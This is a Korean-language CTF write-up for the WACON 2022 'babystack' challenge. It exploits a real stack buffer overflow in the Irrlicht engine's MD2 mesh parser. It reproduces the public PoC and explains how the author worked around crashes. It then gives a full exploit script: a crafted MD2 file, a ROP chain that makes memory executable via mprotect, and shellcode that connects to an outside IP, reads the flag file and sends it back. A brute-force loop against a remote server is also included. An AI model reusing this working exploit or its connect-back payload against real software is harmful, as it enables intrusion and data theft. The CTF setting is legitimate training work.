[CTF write up] WACON CTF 2022 Qual - babystack : Begginer's Real-World Challenge

2022. 6. 26. 21:07CTF write up

https://irrlicht.sourceforge.io/forum/viewtopic.php?f=7&t=52785&sid=82d189da1e8d466aea667d5958334975 

 

[fixed]Stack buffer overflow in MD2 Parser - Irrlicht Engine

You discovered a bug in the engine, and you are sure that it is not a problem of your code? Just post it in here. Please read the bug posting guidelines first. procfs Posts: 2 Joined: Thu Dec 09, 2021 11:12 am Post by procfs » Sun Dec 12, 2021 7:54 am I f

irrlicht.sourceforge.io

babystack은 다음과 같은 Real-World의 취약점을 이용하여 익스플로잇 하는 문제다. 문제 디스크립션에서 친절하게 위 링크가 걸려있었고 링크에는 PoC도 있었다.

 

#!/usr/bin/python3
import struct

def p32(x):
    return struct.pack("<I", x)

if __name__ == "__main__":

    md2header = b""
    md2header += p32(844121161) # magic
    md2header += p32(8) # version
    md2header += p32(0) # skinWidth
    md2header += p32(0) # skinHeight
    md2header += p32(2**32-1) # frameSize
    md2header += p32(0) # numSkins
    md2header += p32(0) # numVertices
    md2header += p32(1) # numTexcoords
    md2header += p32(1) # numTriangles
    md2header += p32(0) # numGlcommands
    md2header += p32(1) # numFrames
    md2header += p32(0) # offsetSkins
    md2header += p32(0) # offsetTexcoords
    md2header += p32(0) # offsetTriangles
    md2header += p32(68) # offsetFrames
    md2header += p32(0) # offsetGlCommands
    md2header += p32(0) # offsetEnd
    md2header += b"a" * 0x3000
    
    with open("exp.md2", "wb") as f:
        f.write(md2header)

PoC, 설명을 보면 frameSize 헤더를 조작할 수 있어서 스택 오버플로우가 터진다고 한다.

 

 

 

으악

PoC 코드를 실행시켰을때 터지는 부분은 위에서 붉은 색으로 표시된 부분이며, 데이터가 스택에 쓰이면서 실제로 오버플로우가 나는 부분은 주황색으로 되어있는 부분이다.

 

 

 

 

 

 

 

return 여깄음.

checksec으로 보호기법을 보면 카나리가 걸려있지만 바이너리를 확인해보면 스택 스매싱 검증 함수가 없다. 따라서 위에서 오버플로우가 나는 부분에서 어지저찌 약 200줄 정도되는 코드를 무사히 넘어서 return 까지 도달한다면 ROP 공격으로 익스플로잇 할 수 있다. 마침 PIE도 안걸려있어서 추가적인 메모리 Leak 과정은 없어도 된다.

 

 

 

 

frame->name[0]

가장 먼저 터지는 부분이다. 괜히 아래로 기어들어갔다가 좋지 않은 일이 생길 수도 있으므로 오버플로우로 덮힌 부분 중에서 frame 포인터를 찾고, 주소가 고정된 영역 중에서 Null을 가리키는 포인터를 대신 넣어주면 된다.

 

 

 

 

 

num = triangles[j].vertexIndices[ti];

두번째로 터지는 부분이다. 여기도 위처럼 PoC의 numTruangles 부분을 0으로 해줄 수 있지만 그럴 경우, main에서 터지기 때문에 도망가지 못한다.  오버플로우로 인해 triangles 포인터가 덮여서 발생하는 문제인데, 일단은 고정된 rw 영역의 주소를 넣어주면 안터지긴 한다. 

 

하지만 이후 triangles 포인터는 또 문제를 일으키게 된다... 

 

 

 

 

 

 

&mesh->FrameList[i]

이 부분 역시 오버플로우로 numVertices를 덮어서 넘어갈 수 있지만 &mesh라는 알 수 없는 데이터가 아래에서 쓰이기 떄문에 그냥 넘어가버리면 마지막에 터져버린다.

 

 

 

 

 

numFrame

이쪽은 들어가면 괜히 터지기만 하니 오버플로우로 numFrames 덮어서 넘어가면 된다.

 

 

 

 

 

 

 

트라이앵글...

가장 까다로운 부분이다. triangle 포인터는 RET까지 오버플로우 하려면 반드시 덮어줘야 하고, 그래서 위에서 중간에 터지지 않도록 rw 영역 포인터를 넣어준 것인데 여기에서 청크 해제를 해버리게 된다. 당연히 rw 영역은 힙 청크가 아니기 때문에 오류가 난다. 그렇다고 해서 triangle에 값을 넣지 않기 위해 다른 분기문들을 전부 건너뛰면 아래에 함수 포인터 내부에서 터지게 된다.

 

해당 함수 포인터가 가리키는 함수에서 &mesh->BoxList 데이터 값 때문에 터지는데 해당 값을 채워주려면 &mesh->FrameList를 채워줘야 하고 해당 값을 채워주려면 또 Triangle에 값을 넣어서 분기문에 들어가야 하기 때문에 이도저도 못하게 된다.

 

그리고 triangle 포인터에 FakeChunk를 넣어본 결과 진짜 청크가 아니라면 무슨 짓을 해도 터지는 것 같다. 아마 우회할 방법이 있을지도 모르겠지만 나는 진짜 힙 청크 값을 넣어주는 것으로 해결했다(...) PIE가 없는 경우 힙 영역의 주소가 랜덤화 되는 범위가 작고 확인 결과 힙의 첫 청크를 넣어줘도 터지지 않고 잘 작동했기 때문에 0xXXXX000+0x10 값을 넣어주었다. 대충 3000~4000번 정도면 얻어걸리게 된다.

 

 

 

#!/bin/bash -e

CONN_ENV="$(mktemp -d -t challenv-XXXXXXXXXX)"
FILE_NAME="exploit.md2"
cd `dirname "$0"`
trap 'rm -rf -- "$CONN_ENV"' EXIT

echo "Give me the MD2 mesh file to convert"
cat > "a.md2"
echo "OK. $(wc -c < "a.md2") bytes read."

echo "Now processing your file"
./MeshConverter a.md2 /dev/null

#./MeshConverter exp2.md2 /dev/null

근데 엄청난 문제가 남아있다.. runner에 cat > 파일을 넘기려면 ctrl D를 입력해주어야 하는데 당연히 원격에서는 안된다. 무언가 방법이 있을지도 모르겠지만 못찾아서 결국 리버스 쉘을 이용했다. 문제는 알 수 없는 이유로 리버스 쉘로 쉘이 안 얻어졌는데 그 와중 플래그 파일이름이 도커파일에서 검열되어있다(...)

 

그래서 orw로 파일 읽고 리버스 쉘로 결과 보내기만 하는 코드를 만들고 /proc/1/environ에서 플래그 이름을 알아내고 플래그를 읽었다.

 

당연히 ROP는 추가적인 입력 없이 한번에 쉘코드를 실행시킬 수 있도록 만들어야 한다. 가젯들을 잘 사용해서 libc 주소를 담고 add와 sub가젯으로 mprotect 함수 주소로 변경한 다음 rwx 영역을 만들어줄 수 있다. AAW 가젯을 이용해서 해당 영역을 쉘코드로 덮고 실행해주면 끝이다.

 

 

from pwn import *
import tty
import struct
from pwn import p64

def p32(x):
    return struct.pack("<I", x)

if __name__ == "__main__":

    md2header = b""
    md2header += p32(844121161) # magic
    md2header += p32(8) # version
    md2header += p32(0) # skinWidth
    md2header += p32(0) # skinHeight
    md2header += p32(2**32-1) # frameSize
    md2header += p32(0) # numSkins
    md2header += p32(0) # numVertices
    md2header += p32(1) # numTexcoords
    md2header += p32(1) # numTriangles
    md2header += p32(0) # numGlcommands
    md2header += p32(1) # numFrames
    md2header += p32(0) # offsetSkins
    md2header += p32(0) # offsetTexcoords
    md2header += p32(0) # offsetTriangles
    md2header += p32(68) # offsetFrames
    md2header += p32(0) # offsetGlCommands
    md2header += p32(0) # offsetEnd
    md2header += b"a" * (0x20e8 - 0x8 * 10) 
    md2header += b"\x01\x00\x00\x00" * (0x2 * 2) 
    md2header += p64(0) # numFrame
    md2header += b"\x01\x00\x00\x00" * (0x2 * 7) 
    md2header += p64(0x8b4968 - 0x18 + 2) #frame->name[0]
    md2header += p64(0x000000020d4010) #triangles
    md2header += b"\x00" * (0x8*10)

    ROP_Chain = b''
    ROP_Chain += p64(0x000000000041ab0f) # pop_rdi
    ROP_Chain += p64(0x8b0698) # puts_got
    ROP_Chain += p64(0x000000000419E50) # puts_plt

    ROP_Chain += p64(0x0000000000587d19) # pop_rsi
    ROP_Chain += p64(0x8b0698 - 0x10) # puts_got
    ROP_Chain += p64(0x00000000005a956e) # mov rax, qword ptr [rsi + 0x10] ; ret


    ROP_Chain += p64(0x00000000005b0972) # pop rdx
    ROP_Chain += p64(0x84450)
    ROP_Chain += p64(0x000000000059b924) # sub rax, rdx ; ret

    ROP_Chain += p64(0x0000000000587d19) # pop rsi
    ROP_Chain += p64(0x1189d0)
    ROP_Chain += p64(0x0000000000586c1b) # add rax, rsi ; ret

    ROP_Chain += p64(0x00000000006f23cc) # pop rcx ; ret
    ROP_Chain += p64(0x00000000006f23cc) # pop rcx ; ret
    ROP_Chain += p64(0x0000000000504360) # : mov rdx, rax ; call rcx
    ROP_Chain += p64(0x00000000006f23cc) # pop rcx ; ret
    ROP_Chain += p64(0x8b0698) # puts_got
    ROP_Chain += p64(0x0000000000595494) # : mov qword ptr [rcx], rdx ; ret

    context.arch = 'amd64'

    IP = '125.191.102.237'
    #IP = '127.0.0.1'
    PORT = 5676
    network = 'ipv4'

    #cm = shellcraft.amd64.linux.sh()

    shellcode = shellcraft.connect(IP, PORT)
    #shellcode += shellcraft.findpeersh(PORT)
    shellcode += shellcraft.dup('rdi')
    shellcode += shellcraft.openat('rdi', b'/home/babystack2022/flag_f8acf1b8ff0ec6bc82cff333029535e7')
    shellcode += shellcraft.read('rax', 'rsp', 0x100)
    shellcode += shellcraft.write(1, 'rsp', 0x100)

    print(shellcode)
    cm = asm(shellcode)
    c = b''
    mem = 1
    for i in range(0,len(cm)):
        if len(hex(cm[i])) == 3:
            c = c + bytearray.fromhex('0'+hex(cm[i]).replace('0x',''))
        else:
            c = c + bytearray.fromhex(hex(cm[i]).replace('0x',''))
        if len(c) == 8 or i == (len(cm)-1):
            c = c.ljust(8,b'\x00')
            print(c)

            ROP_Chain += p64(0x00000000006f23cc) # pop rcx ; ret
            ROP_Chain += p64(0x000000008b4000+8*(mem))
            ROP_Chain += p64(0x00000000005b0972) # pop rdx

            ROP_Chain += c
            c = b''
            mem = mem + 1

            ROP_Chain += p64(0x0000000000595494) # : mov qword ptr [rcx], rdx ; ret

    ROP_Chain += p64(0x000000000041ab0f) # pop_rdi
    ROP_Chain += p64(0x000000008b4000)
    ROP_Chain += p64(0x0000000000587d19) # pop rsi
    ROP_Chain += p64(0x2000)
    ROP_Chain += p64(0x00000000005b0972) # pop rdx
    ROP_Chain += p64(7)
    ROP_Chain += p64(0x000000000419E50) # puts_plt

    ROP_Chain += p64(0x000000008b4000+8) #shellcode


    '''
    ROP_Chain += p64(0x000000000041ab0f) # pop_rdi
    ROP_Chain += p64(0x8b0698) # puts_got
    ROP_Chain += p64(0x000000000419E50) # puts_plt

    ROP_Chain += p64(0x000000000041ab0f) # pop_rdi
    ROP_Chain += p64(0x0)
    ROP_Chain += p64(0x0000000000587d19) # pop rsi
    ROP_Chain += p64(0x8b0698) # puts_got
    ROP_Chain += p64(0x00000000005b0972) # pop rdx
    ROP_Chain += p64(0x10)
    ROP_Chain += p64(0x0000000000419D50) # read_plt

    ROP_Chain += p64(0x000000000041ab0f) # pop_rdi
    ROP_Chain += p64(0x8b0698+8) # puts_got + 8
    ROP_Chain += p64(0x0000000006E8C3E) #ret
    ROP_Chain += p64(0x000000000419E50) # puts_plt
    '''

    # 0x0000000000595494 : mov qword ptr [rcx], rdx ; ret
    # 0x0000000000586c1b add rax, rsi ; ret
    # 0x000000000059b924 sub rax, rdx ; ret
    # 0x00000000005a3cf1 pop rax; ret
    # 0x00000000005a956e mov rax, qword ptr [rsi + 0x10] ; ret

    # 0x00000000006e8c86 : mov rax, rdi ; ret
    # 0x0000000000504360 : mov rdx, rax ; call rcx
    # 0x00000000006f23cc : pop rcx ; ret

    #0x0000000000587d14 : pop r12 ; pop r13 ; pop r14 ; ret

    md2header += ROP_Chain


    #IP = '125.191.102.237'



for i in range(0,8192):
    print(i)
    p = remote('114.203.209.118',8080)
    #p = process('./runner')
    p.send(md2header)
    p.close()

p.interactive()